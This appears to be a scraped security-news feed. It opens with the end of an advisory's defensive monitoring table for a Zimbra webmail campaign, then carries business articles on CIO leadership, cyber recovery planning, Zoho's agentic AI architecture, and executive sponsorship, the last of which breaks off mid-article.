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<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank"><u>D3-NTA</u></a> </p>
</div>
</div>
</td>
<td>
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<p>Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>DNS Traffic Analysis </p>
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</div>
</td>
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<p><a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank"><u>D3-DNSTA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. </p>
</div>
</div>
</td>
</tr>
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<td>
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<p>Network Traffic Community Deviation </p>
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</div>
</td>
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<p><a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation" target="_blank"><u>D3-NTCD</u></a> </p>
</div>
</div>
</td>
<td>
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<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. </li>
<li>Organizations should monitor for connections to internal services, such as webmail, from VPN providers. </li>
</ul>
</div>
</div>
</td>
</tr>
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<td>
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<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Identifier Activity Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank"><u>D3-IAA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Organizations should search for the listed known IOCs. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p>Process Analysis </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="OutlineElement Ltr SCXW46665017 BCX8">
<p><a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank"><u>D3-PA</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW46665017 BCX8">
<div class="ListContainerWrapper SCXW46665017 BCX8">
<ul type="disc">
<li>Organizations should search ZCS log files for specific commands used by the malicious script. </li>
<li>Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. </li>
</ul>
</div>
</div>
</td>
</tr>
<tr>
<td>Message Analysis</td>
<td><a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis">D3-MA</a></td>
<td>Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.</td>
</tr>
</tbody>
</table>
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<title><![CDATA[AI success requires a full-stack CIO]]></title>
<description><![CDATA[Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?



It’s an understandable concern. Boards and CEOs are asking about AI. Business leaders are experimenting with use cases. Employees are discovering tool...]]></description>
<link>https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694399/it-security-nachrichten/ai-success-requires-a-full-stack-cio/</guid>
<pubDate>Sat, 25 Jul 2026 18:57:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Every CIO I speak with today is wrestling with some version of the same question: How do we move faster with AI and deliver on our commitments?</p>



<p class="wp-block-paragraph">It’s an understandable concern. <a href="https://www.cio.com/article/4171959/ceos-top-priorities-for-it-leaders-today-2.html">Boards and CEOs are asking about AI</a>. Business leaders are experimenting with use cases. Employees are discovering tools daily, while technology vendors promise unprecedented gains in productivity, innovation, and competitive advantage.</p>



<p class="wp-block-paragraph">After hundreds of conversations with technology executives over the past year, I’ve become convinced that speed isn’t the real issue. The organizations pulling away from the pack aren’t necessarily adopting AI faster than everyone else. They’re executing more effectively — a subtle distinction that represents one of the defining leadership challenges of the AI era.</p>



<p class="wp-block-paragraph">Technology has never been the hardest part of transformation. People, priorities, culture, and operating models are the biggest challenges. The ability to translate bold boardroom aspirations into thousands of thoughtful decisions made every day by architects, engineers, product managers, analysts, and business leaders is where competitive advantage is created. AI may be accelerating the pace of change, but it hasn’t changed that fundamental truth.</p>



<p class="wp-block-paragraph">I’ve met plenty of executives who are exceptional in the boardroom. They know how to frame a vision, <a href="https://www.cio.com/article/272180/relationship-building-networking-how-to-wow-your-board-of-directors.html">influence a board</a>, and build confidence among investors and business leaders. I’ve also met remarkable technologists who instinctively understand the architectural decisions, engineering tradeoffs, and implementation details that determine how great ideas become reality. Modern CIOs, however, must move comfortably between both worlds. Afshean Talasaz is one who stands out among this rare breed.</p>



<p class="wp-block-paragraph">Long before becoming CIO of Colonial Pipeline, Talasaz built his career from the ground up as a business professional, data scientist, and technologist. He has designed enterprise platforms, built AI capabilities, led technology organizations, and partnered closely with executive leadership teams on business transformation. Today, as an executive in residence with our Practitioners for Practitioners (P4P) community, he helps CIOs and business leaders navigate one of the most significant technology shifts of our generation.</p>



<p class="wp-block-paragraph">While Talasaz brings deep knowledge of data and AI to the table, his greatest strength is his ability to create strategy and connect it with execution. He can spend the morning discussing enterprise reinvention with the board and the afternoon debating architectural principles with the teams responsible for bringing that vision to life.</p>



<p class="wp-block-paragraph">That versatility gives Talasaz a unique lens on how CIOs <a href="https://www.cio.com/article/4178006/state-of-the-cio-2026-cios-set-the-course-for-ai-roi.html">can deliver value with AI</a>.</p>



<p class="wp-block-paragraph">Software companies have a term for engineers who understand every layer of the technology stack: full-stack developers. Listen to Talasaz and it becomes evident that the AI era requires something similar from technology leaders: a full-stack CIO.</p>



<h2 class="wp-block-heading">The full-stack CIO: Leading with clarity</h2>



<p class="wp-block-paragraph">A full-stack CIO understands how every layer of the enterprise influences the next. They recognize that every strategic priority becomes a portfolio investment, every investment shapes an operating model, every operating model influences architecture, every architecture choice informs product decisions, every product decision shapes engineering priorities.</p>



<p class="wp-block-paragraph">The best CIOs understand both ends of that journey. The extraordinary ones understand everything in between.</p>



<p class="wp-block-paragraph">And those who execute best lead with clarity, Talasaz says.</p>



<p class="wp-block-paragraph">“Everyone, from executives to middle managers to the people writing code, should be able to explain what we’re trying to achieve,” he emphasizes. “Clarity isn’t that we’ve handed out the PowerPoint. It’s that people genuinely understand where we’re going and can articulate it in their own language.”</p>



<p class="wp-block-paragraph">One of the unintended consequences of the AI boom is that organizations are beginning to confuse activity with alignment. They have AI councils, AI governance committees, AI innovation labs, AI centers of excellence, AI pilots, and AI roadmaps. Yet if you stop ten people in the hallway and ask a deceptively simple question, What business problem are we actually trying to solve? you’ll often hear ten different answers.</p>



<p class="wp-block-paragraph">As a result, architects optimize for one objective while product teams optimize for another. Business units pursue opportunities that seem perfectly reasonable from their perspective. Engineers make thoughtful technical decisions based on the information available to them. Individually, none of those decisions are necessarily wrong. Collectively, however, they create organizational drift. AI doesn’t create that problem. It simply accelerates the consequences.</p>



<p class="wp-block-paragraph">And while AI can be a force multiplier for the positive when every decision is guided by a shared understanding of where the organization is headed, it can also be a force multiplier for the negative, resulting in an organization simply moving faster in different directions.</p>



<p class="wp-block-paragraph">“When we have the fundamentals right, the tech infrastructure, the operating models, the nuances of how our business actually runs, we get the impacts of AI in a positive way,” Talasaz says. “When we don’t have those in place, AI can amplify the gaps or mute the benefits.”</p>



<p class="wp-block-paragraph">At a time when so much of the conversation surrounding AI is focused on algorithms, agents, and automation, it’s an important reminder that organizations don’t execute strategy; people do.</p>



<h2 class="wp-block-heading">Reducing organizational friction</h2>



<p class="wp-block-paragraph">Most executives are familiar with the concept of VUCA that characterizes today’s business environment. But Talasaz stresses the importance of turning this concern inward: “If the world outside our organizations is becoming more volatile, uncertain, complex, and ambiguous, what are we, as leaders, doing to the inside of our organizations?”</p>



<p class="wp-block-paragraph">Leaders spend enormous amounts of time helping their organizations respond to external disruption but comparatively little time asking whether they are inadvertently re-creating those same conditions internally in response to those external needs. Are we reducing uncertainty or introducing more of it? Are we simplifying work or adding unnecessary complexity? Are we helping people focus on what matters most, or asking them to navigate competing priorities and shifting expectations?</p>



<p class="wp-block-paragraph">Talasaz refers to this phenomenon as double VUCA — something I’ve witnessed repeatedly while working with CIOs over the past decade. Organizations often assume they’re struggling because of technology limitations when the real constraint is organizational friction. Teams wait for decisions. Priorities shift faster than roadmaps. Governance grows heavier. New committees are formed to solve problems created by existing committees. Everyone is working harder, yet the organization somehow feels slower.</p>



<p class="wp-block-paragraph">AI amplifies both outcomes. Organizations with clarity become dramatically more effective because AI accelerates good decisions. Organizations without clarity simply accelerate confusion.</p>



<h1 class="wp-block-heading">Operating model as strategy enabler</h1>



<p class="wp-block-paragraph">AI governance is one way to achieve greater clarity, but as Talasaz says, governance shouldn’t primarily exist inside policy manuals that few people read.</p>



<p class="wp-block-paragraph">Instead, AI governance should be embedded in the daily rhythms of the organization, shaping how teams collaborate, how decisions are made, how products move from ideas into production, and how innovation happens safely without requiring constant escalation. In other words, it’s all about your operating model.</p>



<p class="wp-block-paragraph">“If you had to pick one thing that isn’t technology, your operating model is the most important element for executing data and AI at scale,” he says.</p>



<p class="wp-block-paragraph">The best operating models create enough clarity that capable people can make thousands of decisions independently and confidently, without having to wait for permission. By embedding good governance into the way it works, the organization becomes faster.</p>



<p class="wp-block-paragraph">This advice echoes something I’ve heard repeatedly from some of the world’s most respected CIOs: High-performing organizations aren’t built on tighter control; they’re built on greater trust, supported by clear principles, shared expectations, and operating models that enable responsible decision-making at every level of the enterprise.</p>



<p class="wp-block-paragraph">Talasaz points out that technology leaders tend to speak in terms of <em>transformation</em>. He suggests CIOs consider a different word: <em>reinvention.</em></p>



<p class="wp-block-paragraph">As he explains, transformation implies replacing what exists today with something new. Reinvention starts with a more clear-eyed and practical premise: Some things absolutely must change; others represent years, sometimes decades, of accumulated expertise, customer trust, operational discipline, and competitive advantage.</p>



<p class="wp-block-paragraph">Reinvention is about building on those strengths while also creating new ways to deliver value. The leaders making the greatest progress in their AI journeys seem to recognize that it’s less about abandoning the past than thoughtfully preparing the organization for the future.</p>



<h2 class="wp-block-heading">Closing the gap between strategy and execution</h2>



<p class="wp-block-paragraph">Full-stack CIOs must be able to map out the various layers of execution and planning that need to be done at every level of the organization to be successful. To help with this, Talasaz has developed a data and AI framework that draws on his own experiences “from the keyboard to the boardroom.”</p>



<p class="wp-block-paragraph">As Talasaz sees it, too many organizations have been doing good work in isolation. “They’re doing a lot of the right things,” he says. “They’re just not connected.”</p>



<p class="wp-block-paragraph">Boards may be discussing growth while business leaders redesign customer experiences. Product teams may be prioritizing new capabilities while architects modernize platforms. Data teams may be improving quality while engineers focus on delivery. Every group makes meaningful progress within its own domain, yet somewhere between strategy and execution, the connective tissue begins to disappear. Talasaz’s framework brings those connecting points to the forefront.</p>



<p class="wp-block-paragraph">Crucially, the framework doesn’t begin with technology or AI or even with data. It begins with the experiences the organization hopes to create for its customers, employees, or partners. Many AI initiatives start with the question, “What can this technology do?” And indeed, we need to be inspired by the possibilities and challenged to think differently by what the technology can do. But, Talasaz emphasizes, we also need to ask what experiences we need to deliver for our business and how the technology can make that a reality.</p>



<p class="wp-block-paragraph">The framework challenges CIOs to answer that question first. Only after the experiences are clearly defined does the conversation move to the capabilities required to deliver it, the business activities that support those capabilities, the AI and data products that enable them, and finally the data foundation that makes everything possible.</p>



<p class="wp-block-paragraph">This shift in perspective ensures that, rather than allowing technology investments to search for business value, the business experience defines the technology required to deliver it. For CIOs, that’s more than a planning exercise. It’s a fundamentally different way of leading.</p>



<p class="wp-block-paragraph"><em>Over the coming months, the P4P community will be convening a series of small CxO roundtables to explore these issues and work more deeply with Afshean Talasaz’s 6×6 Data and AI Framework. CIOs and other enterprise leaders interested in participating are welcome to <a href="mailto:droberts@ouellette-online.com?subject=P4P:%206x6%20Framework%20Roundtable">reach out to me directly</a>.</em></p>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694398/it-security-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Smaller, smarter, safer: How to build agentic AI on the right foundation]]></title>
<description><![CDATA[When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.



“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a sui...]]></description>
<link>https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694397/it-security-nachrichten/smaller-smarter-safer-how-to-build-agentic-ai-on-the-right-foundation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">When it comes to building an effective AI stack, context is king and power isn’t everything it’s cracked up to be.</p>



<p class="wp-block-paragraph">“Smaller, smarter, safer — this is a bet our company has taken in how we deploy AI internally,” said Ricky Thakrar, head of sales and account management at Zoho, provider of a suite of popular cloud-based software solutions for sales, marketing, and finance.</p>



<p class="wp-block-paragraph">“I’m on the business side, and so decisions made by our CIO and IT folks affect me directly, and my teams’ workflows and processes,” he added.</p>



<p class="wp-block-paragraph">Speaking to a room of tech leaders at the <a href="https://event.foundryco.com/cio-100-leadership-live-new-york/">CIO 100 Leadership Live New York event</a> last week, Thakrar explained that every company wants the speed of AI-generated work wedded to the quality of human work, even though these two are diametrically opposed. No amount of model upgrades or spend will close that gap, so the only way forward is to architect your way out. Thakrar encapsulated this idea in a simple formula:</p>



<ul class="wp-block-list">
<li>Smaller: Stop deploying maximum firepower on every task. Many tasks don’t need it.</li>



<li>Smarter: The system around the model decides more than the model does.</li>



<li>Safer: Verify at the point a mistake gets locked in, not just downstream of it.</li>
</ul>



<p class="wp-block-paragraph">He noted that organizations that win with AI won’t be those deploying the biggest, most powerful models or the most sophisticated architecture, but the ones that figure out that the model is the easy part and the right architecture is harder. That means understanding the hardest element, and the biggest differentiator, is building a human system that learns and compounds alongside agentic systems.</p>



<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



